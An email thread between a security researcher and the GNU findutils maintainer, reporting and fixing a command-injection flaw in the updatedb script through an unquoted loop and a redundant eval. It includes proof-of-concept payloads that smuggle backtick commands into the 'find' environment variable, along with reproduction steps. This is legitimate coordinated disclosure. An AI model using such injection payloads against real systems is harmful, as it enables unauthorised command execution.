Hello Bernhard, Thank you for pushing the fix. Since the fix is up I will inform CNA regarding this issue. Regards, — Michał Majchrowicz / Offensive Security Engineer / PhD eWPTX PGP: D52A 5289 8256 006D 5E05 BAC6 79EA 0072 F4E1 9D57
AFINE sp. z o.o. Al. Jerozolimskie 146C, 02-305 Warszawa https://www.afine.com <https://www.afine.com/> > Wiadomość napisana przez Bernhard Voelker <[email protected]> w dniu > 29 kwi 2026, o godz. 01:21: > > Hi Michal, > > On 4/27/26 08:50, Michał Majchrowicz wrote: >>> Wiadomość napisana przez Bernhard Voelker <[email protected]> w dniu >>> 26 kwi 2026, o godz. 22:38: >>> On 4/26/26 14:25, Michał Majchrowicz wrote: >>>> Hello, >>>> We would like to report a security vulnerability in GNU findutils that >>>> allows >>>> arbitrary command execution through environment variable injection in the >>>> updatedb script. >>>> ================================================================= >>>> SUMMARY >>>> ================================================================= >>>> Product: GNU findutils >>>> Component: locate/updatedb.sh (installed as <prefix>/sbin/updatedb) >>>> Commit: 34929da6 (current HEAD at time of discovery) >>>> Type: OS Command Injection >>>> CWE: CWE-78: Improper Neutralization of Special Elements >>>> used in an OS Command ('OS Command Injection') >>>> Affected: All versions shipping the current updatedb.sh >>>> ================================================================= >>>> VULNERABILITY DETAILS >>>> ================================================================= >>>> The updatedb script exposes two internal variables — `find` and `frcode` — >>>> that users can override via environment variables. These variables hold >>>> paths >>>> to the `find` and `frcode` binaries that updatedb invokes internally. >>>> The script validates each binary path with the helper function >>>> checkbinary(): >>>> checkbinary () { >>>> if test -x "$1" ; then >>>> : ok >>>> else >>>> eval echo "updatedb needs to be able to execute $1, but cannot." >>>> >&2 >>>> exit 1 >>>> fi >>>> } >>>> for binary in $find $frcode >>>> do >>>> checkbinary $binary >>>> done >>>> Two weaknesses combine to allow command injection: >>>> 1. The loop `for binary in $find $frcode` is unquoted. When $find >>>> contains >>>> backtick sequences, they survive word-splitting as a single token and >>>> are passed as the argument $1 to checkbinary(). >>>> 2. Inside checkbinary(), the call to `eval echo "...execute $1..."` >>>> causes >>>> the shell to re-parse the double-quoted string. Backtick command >>>> substitutions embedded in $1 are executed by the `eval` at this point. >>>> The `eval` here is entirely unnecessary: the function is only printing an >>>> error message and no shell word-expansion of the message text is required. >>>> ================================================================= >>>> AFFECTED CODE >>>> ================================================================= >>>> File: locate/updatedb.sh >>>> Line 217-218 (environment variable overrides): >>>> : ${find:=${BINDIR}/@find@} >>>> : ${frcode:=${LIBEXECDIR}/@frcode@} >>>> Line 241-248 (checkbinary — vulnerable function): >>>> checkbinary () { >>>> if test -x "$1" ; then >>>> : ok >>>> else >>>> eval echo "updatedb needs to be able to execute $1, but cannot." >>>> >&2 >>>> exit 1 >>>> fi >>>> } >>>> Line 250-253 (invocation — unquoted variables): >>>> for binary in $find $frcode >>>> do >>>> checkbinary $binary >>>> done >>>> ================================================================= >>>> EXPLOITATION STEPS >>>> ================================================================= >>>> Prerequisites: the attacker can set environment variables visible to the >>>> updatedb process (e.g. a misconfigured cron job, a SUID wrapper, or a >>>> local user on a shared system). >>>> Step 1: Identify the path to the updatedb binary: >>>> which updatedb # typically /usr/sbin/updatedb or >>>> /usr/bin/updatedb >>>> Step 2: Craft a payload. The token must contain no whitespace so that it >>>> survives the unquoted word-split in the `for` loop. Any shell >>>> command without spaces is usable. Examples: >>>> find='`touch /tmp/PWNED`x' >>>> find='`id>/tmp/id.txt`x' >>>> The trailing `x` makes the full token a non-existent path, >>>> ensuring >>>> that test -x "$1" returns false and the eval branch is reached. >>>> Step 3: Run updatedb with the malicious variable set: >>>> find='`touch /tmp/PWNED`x' frcode='x' bash /path/to/updatedb >>>> 2>&1 >>>> Step 4: Execution trace: >>>> a) ${find:=...} is skipped because find is already set >>>> b) for binary in $find → binary = `touch /tmp/PWNED`x >>>> c) checkbinary $binary → $1 = `touch /tmp/PWNED`x >>>> d) test -x "`touch /tmp/PWNED`x" → returns false (path absent) >>>> e) eval echo "...execute `touch /tmp/PWNED`x..." >>>> → shell expands backtick → touch is executed → /tmp/PWNED >>>> created >>>> ================================================================= >>>> REPRODUCTION >>>> ================================================================= >>>> The following commands reproduce the issue on a clean build of the >>>> current HEAD on an x86_64 Linux system. >>>> # Build from source (standard steps) >>>> git clone https://git.savannah.gnu.org/git/findutils.git >>>> cd findutils >>>> ./bootstrap >>>> ./configure >>>> make >>>> # Remove any previous evidence >>>> rm -f /tmp/PWNED >>>> # Run the exploit >>>> find='`touch /tmp/PWNED`x' frcode='x' bash locate/updatedb 2>&1 >>>> # Confirm command execution >>>> ls -la /tmp/PWNED >>>> Expected output: /tmp/PWNED exists, confirming that the `touch` command >>>> inside the backtick sequence was executed by eval. >>>> ================================================================= >>>> SUGGESTED FIX >>>> ================================================================= >>>> Remove the `eval` keyword from checkbinary(). It serves no purpose beyond >>>> enabling the injection — the function only needs to print a plain string: >>>> Before: >>>> eval echo "updatedb needs to be able to execute $1, but cannot." >&2 >>>> After: >>>> echo "updatedb needs to be able to execute $1, but cannot." >&2 >>>> This one-character change eliminates the injection vector entirely. >>>> The message text is printed verbatim without any shell re-parsing. >>>> After applying the patch above and re-running the exploit,the command >>>> inside the backtick sequence is no longer executed and /tmp/PWNED >>>> is not created. The script still prints the expected error: >>>> updatedb needs to be able to execute `touch /tmp/PWNED`x, but cannot. >>>> ================================================================= >>>> CREDITS >>>> ================================================================= >>>> This issue was identified by Michał Majchrowicz and Marcin Wyczechowski, >>>> members of the AFINE Team. >>>> ================================================================= >>>> DISCLOSURE POLICY >>>> ================================================================= >>>> We follow a 90-day coordinated disclosure policy. We will publish the >>>> details of this vulnerability 90 days after the date of this report, >>>> or earlier if a fix is released publicly before that deadline. >>>> We are happy to coordinate the disclosure timeline with you and to delay >>>> publication if a fix is imminent. >>>> Please let us know if you have any questions or require additional >>>> information. >>>> Regards, >>>> — >>>> *Michał Majchrowicz* / Offensive Security Engineer / PhD eWPTX >>>> PGP: D52A 5289 8256 006D 5E05 BAC6 *79EA 0072 F4E1 9D57* >>>> *AFINE sp. z o.o.* >>>> Al. Jerozolimskie 146C, 02-305 Warszawa >>>> https://www.afine.com <https://www.afine.com> >>> <0001-updatedb-properly-quote-variables-and-avoid-redundan.patch> > >> > >> Hi Michal, > >> > >> thanks for the report. > >> > >> Indeed, the non-quoting and the use of eval is quite weak in updatedb. > >> The whole handling of the variables like $NETPATHS, $FINDOPTIONS and > >> $print_option gives me goosebumps. > >> I'll fix at least the ones you reported with the attached patch. > >> > >> FWIW, trying the reproducer leads to a shell syntax error: > >> > >> $ find='`touch /tmp/PWNED`x' frcode='x' bash locate/updatedb > >> locate/updatedb: eval: line 245: unexpected EOF while looking for > >> matching ``' > >> > >> ... instead of the creation of the /tmp/PWNED witness file. > >> > >> Have a nice day, > >> Berny > >> > > Hello Bernhard, > > Yes you are right it won’t work as a manual command (I was testing from a > > script) as earlier > > for iterates over all white spaces. You can reproduce it manually using > > this cmd: > > find='`id>/tmp/PWNED_eval_injection`x' frcode='x' bash ./locate/updatedb > > 2>&1 > > Your patch also correctly fixes the issue. > > Regards, > > Thanks for the review, pushed at: > https://cgit.git.savannah.gnu.org/cgit/findutils.git/commit/?id=722c98ed390f > > Have a nice day, > Berny > <0001-updatedb-properly-quote-variables-and-avoid-redundan.patch>
signature.asc
Description: Message signed with OpenPGP
